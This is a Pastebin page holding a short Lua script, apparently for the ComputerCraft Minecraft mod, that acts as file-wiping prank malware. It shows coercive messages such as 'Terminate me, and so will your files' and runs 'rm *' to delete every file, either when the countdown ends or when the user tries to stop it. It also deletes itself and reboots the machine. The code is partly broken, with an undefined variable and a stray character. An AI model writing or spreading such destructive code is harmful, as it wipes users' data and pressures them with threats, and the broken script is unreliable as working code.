Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function center(msg)
- w, h = term.getSize()
- term.setCursorPos(w/2, h/2)
- write(msg)
- end
- x = 600;
- while true do
- e, p1, p2, p3 = os.pullEventRaw()
- if(e == "terminate") then
- if(al) then
- shell.run("rm", "*")
- end
- elseif(e == "key") then
- if(x > 0) then
- term.clear()
- center("Hold down a key for "..x.." more seconds and your files will be here")
- center("Terminate me, and so will your files.")
- sleep(1)
- x = x-1
- else
- shell.run("rm", "*")§
- end
- else
- shell.run("rm", shell.getRunningProgram())
- os.reboot()
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement